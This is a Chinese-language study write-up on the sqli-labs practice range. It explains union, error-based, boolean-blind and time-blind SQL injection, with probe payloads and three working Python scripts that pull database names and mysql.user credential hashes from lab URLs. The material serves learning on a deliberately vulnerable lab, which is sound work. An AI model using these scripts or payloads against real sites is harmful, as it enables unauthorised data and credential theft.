Basic Injection


慢慢亦灿灿,历经一个月左右终于将sqlilabs第一章刷完;至此也对sql注入的原理和基础姿势有了一定的了解;今天打算记录一下我在这个靶场学习到的东西


一.基础的注入姿势:

1:联合注入

(1)解读:
MYSQL规定联合注入的查询,union关键字连接的两个查询语句,查询的字段数必须保持一致。此时我们分析一下当我们输入?id=1的时候后台的查询逻辑:select id,password,username from users where id=1
此时我们发现union左边的查询语句有三个字段;所以我们右边的查询语句也应该有三个字段。可是我们在注入攻击前我们并不知道一共有几个字段;所以我们就需要使用order by进行查询
此时我们看一下联合注入的效果

但页面只能展示第一条数据,想让页面展示第二条数据,可以使用分页limit x,y,但这里我们使用另外一种方
:空查询;正常的用户id都是从1开始自增的,如果查询的id为0或者是负数,一定是空查询。

(2)使用前提:
页面有显示位,这个显示位指的是网页中能够显示数据的位置。
显示位:服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫显示位
有显示位:

无显示位:


2.报错注入

(1)解读:MySQL提供了一个updatexml()函数和extractvalue()函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。这个在Less-17 Dumb Hacker这篇文章中有详细介绍,有疑惑的就看这篇
文章啦。
使用前提:页面有数据库的报错信息,一般是?id=1’先试探一下,然后继续?id=1’ and updatexml(1,’0x7e’,3)再次试探;如果页面有报错,且报错信息回显正常的话,便可以试着进行报错注入。
报错信息正常:

无报错信息:


3.布尔盲注

页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注。这一部分我在初识盲注里面有解释过;这里就不过多解释了
使用前提:页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注。
同时满足以下两种情况:
?id=1’ and 1=1# 正常显示
?id=1’ and 1=0# 异常(空)显示
可以使用布尔盲注的情况


不可以使用布尔盲注的情况


因为布尔手工盲注耗时较长且繁琐,所以有两种方法1.借助bp的爆破模块进行辅助或者2.使用脚本进行爆破
get请求盲注脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests

# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://3534c6c2bffd4225bf3409ae9a2ec278.app.mituan.zone/Less-5/"
# 猜解长度使用的payload
payload_len = """?id=1' and length(
(select group_concat(user,password)
from mysql.user)
) < {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(
substr(
(select group_concat(user,password)
from mysql.user)
,{n},1)
) = {r} -- a"""

# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 页面中出现此内容则表示成功
if 'You are in...........' in response.text:
print('测试长度完成,长度为:', length,)
return length;
else:
print('正在测试长度:',length)
length += 1 # 测试长度递增

# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
# 第一层循环,截取每一个字符
for l in range(1, length+1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(n= l, r= n))
# 页面中出现此内容则表示成功
if 'You are in...........' in response.text:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

post请求盲注脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import requests

# 网站路径
url = "http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"
# 判断长度的payload
payload_len = """a') or length(
(select group_concat(user,password)
from mysql.user)
)>{n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(
substr(
(select group_concat(user,password)
from mysql.user)
,{l},1)
)={n} -- a"""

# post请求参数
data= {
"uname" : "a') or 1 -- a",
"passwd" : "1",
"submit" : "Submit"
}

# 判断长度
def getLen(payload_len):
length = 1
while True:
# 修改请求参数
data["uname"] = payload_len.format(n = length)
response = requests.post(url=url, data=data)
# 出现此内容为登录成功
if '../images/flag.jpg' in response.text:
print('正在测试长度:', length)
length += 1
else:
print('测试成功,长度为:', length)
return length;

# 枚举字符
def getStr(length):
str = ''
# 从第一个字符开始截取
for l in range(1, length+1):
# 枚举字符的每一种可能性
for n in range(32, 126):
data["uname"] = payload_str.format(l=l, n=n)
response = requests.post(url=url, data=data)
if '../images/flag.jpg' in response.text:
str += chr(n)
print('第', l, '个字符枚举成功:',str )
break

length = getLen(payload_len)
getStr(length)

4:时间盲注

使用场景:(1):页面没有回显位置(联合注入无法使用)(2):页面不显示数据库的报错信息(报错注入无法使用)
(3)无论成功还是失败,页面只响应一种结果(布尔盲注无法使用)
这一部分我在初识盲注里面有解释过;这里就不过多解释了。
因为时间盲注会受到网络不稳定的影响和其本身的繁琐程度,我们一般会使用bp进行辅助或者使用脚本
盲注脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests
import time

# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload

# 目标网址(不带参数)
url = "http://0f3687d08b574476ba96442b3ec2c120.app.mituan.zone/Less-9/"
# 猜解长度使用的payload
payload_len = """?id=1' and if(
(length(database()) ={n})
,sleep(5),3) -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and if(
(ascii(
substr(
(database())
,{n},1)
) ={r})
, sleep(5), 3) -- a"""

# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
start_time = time.time()
response = requests.get(url= url+payload_len.format(n= length))
# 页面响应时间 = 结束执行的时间 - 开始执行的时间
use_time = time.time() - start_time
# 响应时间>5秒时,表示猜解成功
if use_time > 5:
print('测试长度完成,长度为:', length,)
return length;
else:
print('正在测试长度:',length)
length += 1 # 测试长度递增

# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
# 第一层循环,截取每一个字符
for l in range(1, length+1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
start_time = time.time()
response = requests.get(url= url+payload_str.format(n= l, r= n))
# 页面响应时间 = 结束执行的时间 - 开始执行的时间
use_time = time.time() - start_time
# 页面中出现此内容则表示成功
if use_time > 5:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

一般是先考虑使用联合注入>报错注入>布尔盲注>时间盲注

二.SQL语句中的函数:

  1. group_concat(field1,field2…):将多行的查询结果拼接成一行

  2. concat(obj1,obj2,……):将多个内容拼接为一个字符串;使用报错注入时,经常使用此函数拼接特殊符号和查询语句,以使查询结果可以出现在页面的报错信息中

  3. length(obj):返回字符串或者查询结果的长度

  4. substr(obj,start,length)
    obj:从哪个内容中截取,可以是数值或字符串。
    start:从哪个字符开始截取(1开始,而不是0开始)
    length:截取几个字符(空格也算一个字符)
    (1)截取字符串

    如果只给「一个参数」,则默认截取到最后。

    substr允许参数的「值为负数」,当我们不知道字符串的具体长度,但想要截取最后几个字符时,可以将参数写成负数,从倒数第几个字符串开始截取,截取到最后。

    (2)截取查询结果
    substr允许将其他语句的查询结果作为参数,进行截取(注意用括号括起来)。
    比如,截取查询结果中的前5个字符:

    补充:substr还有另外一种语法格式
    1
    substr(obj FROM start FOR length)
  5. sleep(time):指定时间(单位秒),也就是让程序停止执行一段指定的时间。
  6. if(condition,T,F):条件是否成立,成立时执行一条语句,不成立时执行另一条语句。

and 和 or

今天在复盘布尔盲注的时候发现了一个问题:

当我们使用布尔盲注探测数据库名的长度时,发现探测出错;明明我们的数据库名长度为8,但当我们令其大于10的时候,页面返回是正确的,也就证明探测出错
咨询了一下学长:


正式开始注入,我们使用and或者or来对代码进行连接,一定要注意,and的true返回条件是左右两边都为真,or的true返回条件只需要有一边为真就行了,因此在这里前面id如果存在于数据库之中要用and,不存在则用or。


因为此时我们令id=1,且使用or来连接,所以整个语句是正确的,后台可以查询到有id=1,所以此时页面会回显正确,此时我们再将id=0;发现已经可以正常回显报错了